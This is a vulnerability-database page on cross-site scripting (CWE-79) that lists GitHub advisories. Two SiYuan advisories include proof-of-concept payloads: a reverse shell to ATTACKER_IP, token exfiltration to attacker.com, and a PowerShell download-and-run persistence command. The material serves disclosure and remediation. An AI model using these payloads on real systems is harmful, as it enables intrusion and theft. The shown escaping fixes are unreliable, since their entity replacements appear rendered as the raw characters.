CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68565 vulnerabilities reference this CWE, most recent first.
GHSA-MVJQ-P76Q-JJVW
Vulnerability from github – Published: 2022-05-17 04:03 – Updated: 2022-05-17 04:03Multiple cross-site scripting (XSS) vulnerabilities in the web interface on Janitza UMG 508, 509, 511, 604, and 605 devices allow remote attackers to inject arbitrary web script or HTML via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2015-3970"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-10-28T10:59:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in the web interface on Janitza UMG 508, 509, 511, 604, and 605 devices allow remote attackers to inject arbitrary web script or HTML via unspecified vectors.",
"id": "GHSA-mvjq-p76q-jjvw",
"modified": "2022-05-17T04:03:57Z",
"published": "2022-05-17T04:03:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3970"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-15-265-03"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MVJR-PP8F-J699
Vulnerability from github – Published: 2022-05-17 04:35 – Updated: 2025-04-12 12:38Multiple cross-site scripting (XSS) vulnerabilities in SpiceWorks 5.3.75941 allow remote attackers to inject arbitrary web script or HTML via the (1) syslocation, (2) syscontact, or (3) sysName configuration in snmpd.conf. NOTE: this entry was SPLIT from CVE-2012-2956 per ADT2 due to different vulnerability types.
{
"affected": [],
"aliases": [
"CVE-2012-6658"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-09-17T15:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in SpiceWorks 5.3.75941 allow remote attackers to inject arbitrary web script or HTML via the (1) syslocation, (2) syscontact, or (3) sysName configuration in snmpd.conf. NOTE: this entry was SPLIT from CVE-2012-2956 per ADT2 due to different vulnerability types.",
"id": "GHSA-mvjr-pp8f-j699",
"modified": "2025-04-12T12:38:05Z",
"published": "2022-05-17T04:35:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-6658"
},
{
"type": "WEB",
"url": "http://osvdb.org/84112"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49978"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/20063"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MVJR-VV3C-W4QV
Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25Summary
A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.
The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.
Details
Affected:
- HEAD
96dfe0b(v3.6.5, 2026-04-21) - Sink:
app/src/config/util/snippets.ts:32 - Source:
/api/snippet/getSnippet, backed bydata/snippets/conf.json - Default config:
EnabledCSS: true,EnabledJS: trueatkernel/conf/snippet.go:26-27 - Electron config:
nodeIntegration:true,contextIsolation:false,webSecurity:falseon everyBrowserWindowinapp/electron/main.js:307,408-411,1107-1110,1150-1153,1322
The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:
snippet := &conf.Snippet{
ID: m["id"].(string),
Name: m["name"].(string),
Type: m["type"].(string),
Content: m["content"].(string),
Enabled: m["enabled"].(bool),
}
Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.
The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:
fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
response.data.snippets.forEach((item: ISnippet) => {
const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`;
if (item.type === "css") {
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`);
} else if (item.type === "js") {
// intentional script-loading path
}
});
});
${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.
Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.
Suggested fix
The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:
if (item.type === "css") {
const el = document.createElement("style");
el.id = id;
el.textContent = item.content;
document.head.appendChild(el);
}
textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.
If touching that line is undesirable, the smaller patch is to escape < before interpolation:
const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&" : "<");
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`);
Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.
PoC
Stand up SiYuan:
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
Plant the snippet:
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -X POST http://localhost:16806/api/snippet/setSnippet \
-H "Content-Type: application/json" \
-H "Authorization: Token $TOKEN" \
-d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'
Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.
Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:
({
markerFired: window.__siyuan_xss === true,
styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
imgsInHead: document.head.querySelectorAll('img').length,
snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0
})
Result from my run on 2026-05-19 against b3log/siyuan:latest:
{
"markerFired": true,
"styleCount": 1,
"imgsInHead": 1,
"snippetStyleEmpty": true
}
document.title is SIYUAN_XSS. The <style> exists but closed empty on the first </style>. The smuggled <img> is a sibling in <head>. The injected onerror ran arbitrary JS.
To turn it into RCE on Electron, swap the marker payload for:
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.
Impact
Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.
The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a reloadSnippet WebSocket push. No user click required beyond having the app open.
Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/snippet/setSnippet. Once the malicious snippet is in the workspace, every peer that syncs and has enabledCSS:true runs the payload.
The bug also silently bypasses the user's snippet-toggle intent. Someone who turned enabledJS off and left enabledCSS on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54067"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:25:09Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA CSS snippet body containing `\u003c/style\u003e` breaks out of its surrounding `\u003cstyle\u003e` tag when `renderSnippet()` interpolates it via `insertAdjacentHTML`. A payload like `\u003c/style\u003e\u003cimg src=x onerror=\"...\"\u003e` runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with `nodeIntegration:true`, so `require(\u0027child_process\u0027)` is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.\n\nThe bug also bypasses the user\u0027s `enabledCSS` / `enabledJS` separation. A user who turned `enabledJS` off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Sink: `app/src/config/util/snippets.ts:32`\n- Source: `/api/snippet/getSnippet`, backed by `data/snippets/conf.json`\n- Default config: `EnabledCSS: true`, `EnabledJS: true` at `kernel/conf/snippet.go:26-27`\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`\n\nThe write path stores raw content. `kernel/api/snippet.go:107-130` copies `Content` from the request straight into the snippet record with no HTML escape, no `\u003c/style\u003e` check, no type-specific validation:\n\n```go\nsnippet := \u0026conf.Snippet{\n ID: m[\"id\"].(string),\n Name: m[\"name\"].(string),\n Type: m[\"type\"].(string),\n Content: m[\"content\"].(string),\n Enabled: m[\"enabled\"].(bool),\n}\n```\n\nStorage is workspace-internal and syncs. `kernel/model/repository.go:1748,1798` reference `data/snippets/conf.json`, so the malicious record propagates to every sync peer.\n\nThe renderer reads the snippet back through `/api/snippet/getSnippet` and interpolates it into a `\u003cstyle\u003e` tag, raw. `app/src/config/util/snippets.ts:32`, called on app boot and on the `reloadSnippet` WebSocket event:\n\n```ts\nfetchPost(\"/api/snippet/getSnippet\", {type: \"all\", enabled: 2}, (response) =\u003e {\n response.data.snippets.forEach((item: ISnippet) =\u003e {\n const id = `snippet${item.type === \"css\" ? \"CSS\" : \"JS\"}${item.id}`;\n if (item.type === \"css\") {\n document.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${item.content}\u003c/style\u003e`);\n } else if (item.type === \"js\") {\n // intentional script-loading path\n }\n });\n});\n```\n\n`${item.content}` lands inside the `\u003cstyle\u003e` tag. The HTML parser closes the style on the first `\u003c/style\u003e` substring and treats anything after as a sibling of the empty `\u003cstyle\u003e` element.\n\nWorth noting: the JS branch right after the CSS one already does the safe thing. It uses `document.createElement(\"script\")` and sets `el.text = item.content`. That\u0027s a text-node assignment, no HTML parsing. The CSS branch just doesn\u0027t use the equivalent on a `\u003cstyle\u003e` element, and that\u0027s the bug.\n\n#### Suggested fix\n\nThe cleanest fix mirrors what the JS branch already does. Build the element with `createElement` and set `textContent`:\n\n```ts\nif (item.type === \"css\") {\n const el = document.createElement(\"style\");\n el.id = id;\n el.textContent = item.content;\n document.head.appendChild(el);\n}\n```\n\n`textContent` on a `\u003cstyle\u003e` element populates the CSS rules without invoking the HTML parser, so `\u003c/style\u003e` in the body is a 4-character text node instead of a close tag.\n\nIf touching that line is undesirable, the smaller patch is to escape `\u003c` before interpolation:\n\n```ts\nconst safe = item.content.replace(/[\u0026\u003c]/g, c =\u003e c === \"\u0026\" ? \"\u0026amp;\" : \"\u0026lt;\");\ndocument.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${safe}\u003c/style\u003e`);\n```\n\nEither fix on its own closes the bug. Worth also rejecting `\u003c/style\u003e` on the `setSnippet` backend handler so older renderers pulling the same synced workspace stay safe.\n\n### PoC\n\nStand up SiYuan:\n\n```bash\ndocker run -d --name siyuan-poc \\\n -v ./workspace:/siyuan/workspace \\\n -p 16806:6806 \\\n b3log/siyuan:latest \\\n --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nPlant the snippet:\n\n```bash\nTOKEN=$(jq -r \u0027.api.token\u0027 workspace/conf/conf.json)\n\ncurl -X POST http://localhost:16806/api/snippet/setSnippet \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Token $TOKEN\" \\\n -d \u0027{\"snippets\":[{\"id\":\"\",\"name\":\"poc\",\"type\":\"css\",\"enabled\":true,\"content\":\"\u003c/style\u003e\u003cimg src=x onerror=\\\"document.title=\\\\\\\"SIYUAN_XSS\\\\\\\";window.__siyuan_xss=true\\\"\u003e\"}]}\u0027\n```\n\nReturns `{\"code\":0,\"msg\":\"\",\"data\":null}`. The snippet now sits at `workspace/data/snippets/conf.json` verbatim.\n\nOpen `http://localhost:16806/stage/build/desktop/?r=1` or the Electron app pointing at the same workspace, authenticate, and run in DevTools:\n\n```js\n({\n markerFired: window.__siyuan_xss === true,\n styleCount: document.querySelectorAll(\u0027style[id^=\"snippetCSS\"]\u0027).length,\n imgsInHead: document.head.querySelectorAll(\u0027img\u0027).length,\n snippetStyleEmpty: document.querySelector(\u0027style[id^=\"snippetCSS\"]\u0027)?.textContent.length === 0\n})\n```\n\nResult from my run on 2026-05-19 against `b3log/siyuan:latest`:\n\n```json\n{\n \"markerFired\": true,\n \"styleCount\": 1,\n \"imgsInHead\": 1,\n \"snippetStyleEmpty\": true\n}\n```\n\n`document.title` is `SIYUAN_XSS`. The `\u003cstyle\u003e` exists but closed empty on the first `\u003c/style\u003e`. The smuggled `\u003cimg\u003e` is a sibling in `\u003chead\u003e`. The injected `onerror` ran arbitrary JS.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).execSync(\u0027open /Applications/Calculator.app\u0027)\"\u003e\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a `reloadSnippet` WebSocket push. No user click required beyond having the app open.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/snippet/setSnippet`. Once the malicious snippet is in the workspace, every peer that syncs and has `enabledCSS:true` runs the payload.\n\nThe bug also silently bypasses the user\u0027s snippet-toggle intent. Someone who turned `enabledJS` off and left `enabledCSS` on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.",
"id": "GHSA-mvjr-vv3c-w4qv",
"modified": "2026-07-10T19:25:09Z",
"published": "2026-07-10T19:25:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvjr-vv3c-w4qv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54067"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Stored XSS to RCE via CSS-snippet \u003cstyle\u003e breakout in renderSnippet()"
}
GHSA-MVJR-WQ7F-2V9W
Vulnerability from github – Published: 2025-09-04 12:30 – Updated: 2025-09-04 21:31A vulnerability has been discovered in appRain CMF version 4.0.5, consisting of a stored authenticated XSS due to a lack of proper validation of user input, through the 'data[Admin][description]', 'data[Admin][f_name]' and 'data[Admin][l_name]' parameters in /apprain/admin/account/edit.
{
"affected": [],
"aliases": [
"CVE-2025-41036"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-04T12:15:32Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been discovered in appRain CMF version 4.0.5, consisting of a stored authenticated XSS due to a lack of proper validation of user input, through the\u00a0 \u0027data[Admin][description]\u0027, \u0027data[Admin][f_name]\u0027 and \u0027data[Admin][l_name]\u0027 parameters in /apprain/admin/account/edit.",
"id": "GHSA-mvjr-wq7f-2v9w",
"modified": "2025-09-04T21:31:36Z",
"published": "2025-09-04T12:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41036"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-apprain-cmf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MVMH-GV2W-6HRM
Vulnerability from github – Published: 2026-02-20 18:31 – Updated: 2026-02-24 00:31Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VeronaLabs Slimstat Analytics wp-slimstat allows Reflected XSS.This issue affects Slimstat Analytics: from n/a through <= 5.3.2.
{
"affected": [],
"aliases": [
"CVE-2025-69323"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-20T16:22:19Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in VeronaLabs Slimstat Analytics wp-slimstat allows Reflected XSS.This issue affects Slimstat Analytics: from n/a through \u003c= 5.3.2.",
"id": "GHSA-mvmh-gv2w-6hrm",
"modified": "2026-02-24T00:31:33Z",
"published": "2026-02-20T18:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69323"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-slimstat/vulnerability/wordpress-slimstat-analytics-plugin-5-3-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MVP5-93X2-533F
Vulnerability from github – Published: 2024-06-08 15:31 – Updated: 2026-04-01 18:31Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in RadiusTheme The Post Grid allows Stored XSS.This issue affects The Post Grid: from n/a through 7.7.1.
{
"affected": [],
"aliases": [
"CVE-2024-35739"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-08T13:15:56Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in RadiusTheme The Post Grid allows Stored XSS.This issue affects The Post Grid: from n/a through 7.7.1.",
"id": "GHSA-mvp5-93x2-533f",
"modified": "2026-04-01T18:31:47Z",
"published": "2024-06-08T15:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35739"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/the-post-grid/vulnerability/wordpress-the-post-grid-plugin-7-7-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/the-post-grid/wordpress-the-post-grid-plugin-7-7-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MVP7-2M2R-2548
Vulnerability from github – Published: 2026-02-20 18:31 – Updated: 2026-02-24 00:31Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GhostPool Aardvark aardvark allows Reflected XSS.This issue affects Aardvark: from n/a through <= 4.6.3.
{
"affected": [],
"aliases": [
"CVE-2025-69296"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-20T16:22:16Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in GhostPool Aardvark aardvark allows Reflected XSS.This issue affects Aardvark: from n/a through \u003c= 4.6.3.",
"id": "GHSA-mvp7-2m2r-2548",
"modified": "2026-02-24T00:31:33Z",
"published": "2026-02-20T18:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69296"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/aardvark/vulnerability/wordpress-aardvark-theme-4-6-3-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MVP9-H26X-X7Q3
Vulnerability from github – Published: 2024-02-20 03:30 – Updated: 2026-04-08 21:32The WP Shortcodes Plugin — Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's su_tooltip shortcode in all versions up to, and including, 7.0.2 due to insufficient input sanitization and output escaping on user supplied attributes and user supplied tags. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-1510"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-20T03:15:08Z",
"severity": "MODERATE"
},
"details": "The WP Shortcodes Plugin \u2014 Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s su_tooltip shortcode in all versions up to, and including, 7.0.2 due to insufficient input sanitization and output escaping on user supplied attributes and user supplied tags. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-mvp9-h26x-x7q3",
"modified": "2026-04-08T21:32:15Z",
"published": "2024-02-20T03:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1510"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/shortcodes-ultimate/tags/7.0.2/includes/shortcodes/tooltip.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3037436/shortcodes-ultimate/trunk/includes/shortcodes/tooltip.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ee03d780-076b-4501-a353-376198a4bd7b?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MVPG-VVX3-5459
Vulnerability from github – Published: 2024-01-25 15:31 – Updated: 2024-01-25 15:31A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via/cupseasylive/taxcodemodify.php, in multiple parameters. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.
{
"affected": [],
"aliases": [
"CVE-2024-23855"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-25T14:15:27Z",
"severity": "HIGH"
},
"details": "A vulnerability has been reported in Cups Easy (Purchase \u0026 Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via/cupseasylive/taxcodemodify.php, in multiple parameters. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.",
"id": "GHSA-mvpg-vvx3-5459",
"modified": "2024-01-25T15:31:53Z",
"published": "2024-01-25T15:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23855"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-cups-easy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MVPM-V6Q4-M2PF
Vulnerability from github – Published: 2026-03-18 16:09 – Updated: 2026-03-20 21:23Stored XSS to RCE via Unsanitized Bazaar Package Metadata
Summary
SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.
Affected Component
- Metadata rendering:
app/src/config/bazaar.ts:275-277 - Electron config:
app/electron/main.js:422-426(nodeIntegration: true,contextIsolation: false)
Affected Versions
- SiYuan <= 3.5.9
Severity
Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Vulnerable Code
In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:
// Package name injected directly — NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description — title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>
The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.
The Electron renderer at app/electron/main.js:422-426 is configured with:
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}
This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require('child_process'), require('fs'), and require('os').
Proof of Concept
Step 1: Create a malicious plugin manifest
Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:
{
"name": "helpful-productivity-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "Boost your productivity with smart templates"
},
"version": "1.0.0",
"author": "attacker",
"url": "https://github.com/attacker/helpful-productivity-plugin",
"minAppVersion": "2.0.0"
}
Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).
Step 3: Zero-click RCE
When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The <img src=x> tag fails to load, firing the onerror handler, which calls require('child_process').exec('calc.exe').
No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.
Escalation: Reverse shell
{
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">"
}
}
Escalation: Data exfiltration (API token theft)
{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}
Escalation: Silent persistence (Windows)
{
"displayName": {
"default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">"
}
}
Attack Scenario
- Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
- Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
- The
plugin.jsonmanifest contains an XSS payload in thedisplayNameordescriptionfield. - When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
- The injected
<img onerror>(or<svg onload>,<details ontoggle>, etc.) fires automatically. - JavaScript executes in the Electron renderer with full Node.js access (
nodeIntegration: true). - The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.
The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.
Impact
- Full remote code execution on any SiYuan desktop user who browses the Bazaar
- Zero-click — payload fires on page load, no interaction required
- Supply-chain attack — targets the entire SiYuan user community via the official marketplace
- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors, scheduled tasks, or ransomware
- Affects all platforms: Windows, macOS, Linux
Suggested Fix
1. Escape all package metadata in template rendering (bazaar.ts)
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"')
.replace(/'/g, ''');
}
